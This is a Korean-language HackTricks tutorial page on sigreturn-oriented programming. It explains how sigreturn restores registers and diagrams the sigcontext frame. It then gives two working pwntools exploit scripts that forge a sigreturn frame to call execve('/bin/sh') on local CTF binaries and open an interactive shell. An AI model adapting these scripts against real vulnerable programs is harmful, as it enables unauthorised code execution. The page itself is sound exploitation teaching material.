SROP - Sigreturn-Oriented Programming

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**Sigreturn**은 주로 시그널 핸들러가 실행을 완료한 후 정리하는 데 사용되는 특수한 시스템 호출입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 종종 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 시그널을 처리하기 위해 설계된 시그널 핸들러라는 특수 함수를 사용합니다.

시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 이전 상태로 복귀해야 합니다. 이때 **sigreturn**이 필요합니다. 이는 프로그램이 시그널 핸들러에서 반환하고 시그널 핸들러에서 사용된 스택 프레임(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.

흥미로운 점은 **sigreturn**이 프로그램의 상태를 복원하는 방법입니다: CPU의 모든 레지스터 값을 스택에 저장합니다. 시그널이 더 이상 차단되지 않으면 sigreturn이 이러한 값을 스택에서 팝하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)를 포함합니다.

ROP 체인에서 sigreturn 시스템 호출을 호출하고 스택에 로드하려는 레지스터 값을 추가함으로써 모든 레지스터 값을 제어하고 따라서 예를 들어 /bin/sh를 사용하여 execve 시스템 호출을 호출할 수 있습니다.

이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 Ret2syscall 유형일 것임을 유의하세요:

호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 sigcontext 구조를 확인하세요(여기서 다이어그램 참조: here):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

더 나은 설명을 위해 다음도 확인하십시오:

예시

여기에서 예시를 찾을 수 있습니다 여기서 signeturn 호출이 ROP를 통해 구성되었으며 (rxa에 값 0xf을 넣음), 그러나 이것이 거기서의 최종 exploit입니다:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

이곳에서 exploit을 확인하세요 바이너리가 이미 sigreturn을 호출하고 있기 때문에 ROP를 구축할 필요가 없습니다:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

다른 예시 및 참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요

HackTricks를 지원하는 다른 방법:

Last updated